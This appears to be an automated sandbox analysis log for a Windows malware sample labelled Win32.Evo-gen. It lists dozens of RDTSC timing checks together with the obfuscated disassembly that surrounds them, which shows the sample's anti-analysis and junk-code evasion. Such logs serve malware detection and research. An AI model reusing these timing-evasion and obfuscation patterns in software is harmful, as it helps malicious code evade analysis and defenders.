Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E81385 second address: E81389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51A0F4C second address: 51A0F52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51A0F52 second address: 51A0F5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, E8C8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51A0F5B second address: 51A0F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC734E5F788h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51A0F7D second address: 51A0FD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 11D4h 0x00000007 pushfd 0x00000008 jmp 00007FC73488207Dh 0x0000000d xor ecx, 1205C896h 0x00000013 jmp 00007FC734882081h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e jmp 00007FC73488207Eh 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FC734882087h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51A0FD7 second address: 51A0FDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190E22 second address: 5190F02 instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FC734882086h 0x0000000d jmp 00007FC734882085h 0x00000012 popfd 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 mov edx, eax 0x00000018 pushfd 0x00000019 jmp 00007FC734882088h 0x0000001e xor eax, 5C9D5EC8h 0x00000024 jmp 00007FC73488207Bh 0x00000029 popfd 0x0000002a popad 0x0000002b push eax 0x0000002c pushad 0x0000002d mov ch, bh 0x0000002f movzx ecx, dx 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FC734882089h 0x0000003b sub ax, AE96h 0x00000040 jmp 00007FC734882081h 0x00000045 popfd 0x00000046 pushfd 0x00000047 jmp 00007FC734882080h 0x0000004c sub ch, FFFFFFB8h 0x0000004f jmp 00007FC73488207Bh 0x00000054 popfd 0x00000055 popad 0x00000056 mov ebp, esp 0x00000058 jmp 00007FC734882086h 0x0000005d pop ebp 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190F02 second address: 5190F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190F06 second address: 5190F0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190F0C second address: 5190F1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734E5F77Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51E0082 second address: 51E0096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, CD9Bh 0x00000007 mov bx, cx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51E0096 second address: 51E009A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51E009A second address: 51E00A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51E00A9 second address: 51E0110 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FC734E5F77Eh 0x00000010 pop ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FC734E5F77Eh 0x00000018 add ax, 7128h 0x0000001d jmp 00007FC734E5F77Bh 0x00000022 popfd 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FC734E5F786h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170133 second address: 5170137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170137 second address: 517013B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 517013B second address: 5170141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170141 second address: 5170150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734E5F77Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170150 second address: 5170154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170154 second address: 5170169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 mov cx, F6E3h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5170169 second address: 51701A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FC73488207Fh 0x00000008 pop eax 0x00000009 call 00007FC734882089h 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push dword ptr [ebp+0Ch] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 movzx ecx, di 0x0000001b push ebx 0x0000001c pop eax 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190B60 second address: 5190B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ecx 0x00000011 mov ax, dx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190B7D second address: 5190B99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882080h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190B99 second address: 5190B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190B9D second address: 5190BBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190BBA second address: 5190BC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190BC0 second address: 5190BCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov eax, edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190706 second address: 519070C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 519070C second address: 5190722 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC73488207Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190722 second address: 5190769 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 36BAh 0x00000007 pushfd 0x00000008 jmp 00007FC734E5F77Bh 0x0000000d add si, 1E5Eh 0x00000012 jmp 00007FC734E5F789h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [esp], ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC734E5F77Dh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190769 second address: 519076F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 519076F second address: 5190773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190684 second address: 51906A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov ax, 83DBh 0x00000010 mov esi, 25A782B7h 0x00000015 popad 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51906A7 second address: 51906B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0E91 second address: 51D0EEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882085h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC734882088h 0x00000011 jmp 00007FC734882085h 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FC73488207Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0EEB second address: 51D0F1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov eax, 535C7FB9h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov si, 6CF1h 0x00000014 mov ebx, ecx 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FC734E5F782h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0F1A second address: 51D0F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0F20 second address: 51D0F26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0F26 second address: 51D0F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0F2A second address: 51D0F2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B031E second address: 51B0356 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC73488207Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov bx, si 0x00000016 mov ax, 140Fh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B0356 second address: 51B038B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, A446h 0x00000007 push edi 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FC734E5F782h 0x00000016 or cl, FFFFFFE8h 0x00000019 jmp 00007FC734E5F77Bh 0x0000001e popfd 0x0000001f mov ch, 08h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B038B second address: 51B0391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B0391 second address: 51B03A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B03A1 second address: 51B03A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B03A5 second address: 51B03AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B03AB second address: 51B03D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC734882087h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B03D7 second address: 51B03DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B03DD second address: 51B03E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B03E1 second address: 51B040B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax], 00000000h 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FC734E5F77Dh 0x00000012 jmp 00007FC734E5F77Bh 0x00000017 popfd 0x00000018 push eax 0x00000019 push edx 0x0000001a mov bh, cl 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51A0E54 second address: 51A0EC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov edi, 47407D96h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FC734882088h 0x00000016 sbb eax, 498865B8h 0x0000001c jmp 00007FC73488207Bh 0x00000021 popfd 0x00000022 mov esi, 0CA389EFh 0x00000027 popad 0x00000028 mov dword ptr [esp], ebp 0x0000002b jmp 00007FC734882082h 0x00000030 mov ebp, esp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FC734882087h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51A0EC5 second address: 51A0EF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FC734E5F785h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC734E5F77Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B00BD second address: 51B0171 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC73488207Fh 0x00000009 xor eax, 186A6ABEh 0x0000000f jmp 00007FC734882089h 0x00000014 popfd 0x00000015 mov ax, 1807h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FC734882088h 0x00000024 sub si, 52E8h 0x00000029 jmp 00007FC73488207Bh 0x0000002e popfd 0x0000002f pushad 0x00000030 mov cl, 91h 0x00000032 mov ecx, edx 0x00000034 popad 0x00000035 popad 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007FC734882089h 0x00000040 sub ecx, 4FD6A7B6h 0x00000046 jmp 00007FC734882081h 0x0000004b popfd 0x0000004c jmp 00007FC734882080h 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B0171 second address: 51B0195 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC734E5F780h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B0195 second address: 51B01A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B01A4 second address: 51B01F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FC734E5F783h 0x00000014 and al, 0000005Eh 0x00000017 jmp 00007FC734E5F789h 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51B01F8 second address: 51B020F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734882083h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0611 second address: 51D0617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0617 second address: 51D061B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D061B second address: 51D061F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D061F second address: 51D063A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC73488207Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D063A second address: 51D0649 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0649 second address: 51D0700 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC73488207Fh 0x00000009 xor ecx, 3B64683Eh 0x0000000f jmp 00007FC734882089h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FC734882080h 0x0000001b jmp 00007FC734882085h 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 mov dword ptr [esp], ebp 0x00000027 jmp 00007FC73488207Eh 0x0000002c mov ebp, esp 0x0000002e pushad 0x0000002f mov cl, B6h 0x00000031 pushfd 0x00000032 jmp 00007FC734882083h 0x00000037 add ax, 585Eh 0x0000003c jmp 00007FC734882089h 0x00000041 popfd 0x00000042 popad 0x00000043 xchg eax, ecx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FC73488207Dh 0x0000004b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0829 second address: 51D082F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D082F second address: 51D0833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D0833 second address: 51D08A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c mov esi, eax 0x0000000e lea eax, dword ptr [ebp-08h] 0x00000011 xor esi, dword ptr [00BE4014h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d push eax 0x0000001e call 00007FC73948E864h 0x00000023 push FFFFFFFEh 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FC734E5F789h 0x0000002c adc esi, 63E4B2F6h 0x00000032 jmp 00007FC734E5F781h 0x00000037 popfd 0x00000038 mov dl, al 0x0000003a popad 0x0000003b pop eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f mov si, 3BFBh 0x00000043 pushfd 0x00000044 jmp 00007FC734E5F780h 0x00000049 sub ax, D348h 0x0000004e jmp 00007FC734E5F77Bh 0x00000053 popfd 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D08A1 second address: 51D08A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51D08A7 second address: 51D08EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007FC73948E8CFh 0x00000010 mov edi, edi 0x00000012 pushad 0x00000013 call 00007FC734E5F77Dh 0x00000018 pushfd 0x00000019 jmp 00007FC734E5F780h 0x0000001e jmp 00007FC734E5F785h 0x00000023 popfd 0x00000024 pop esi 0x00000025 push eax 0x00000026 push edx 0x00000027 push ebx 0x00000028 pop eax 0x00000029 rdtsc
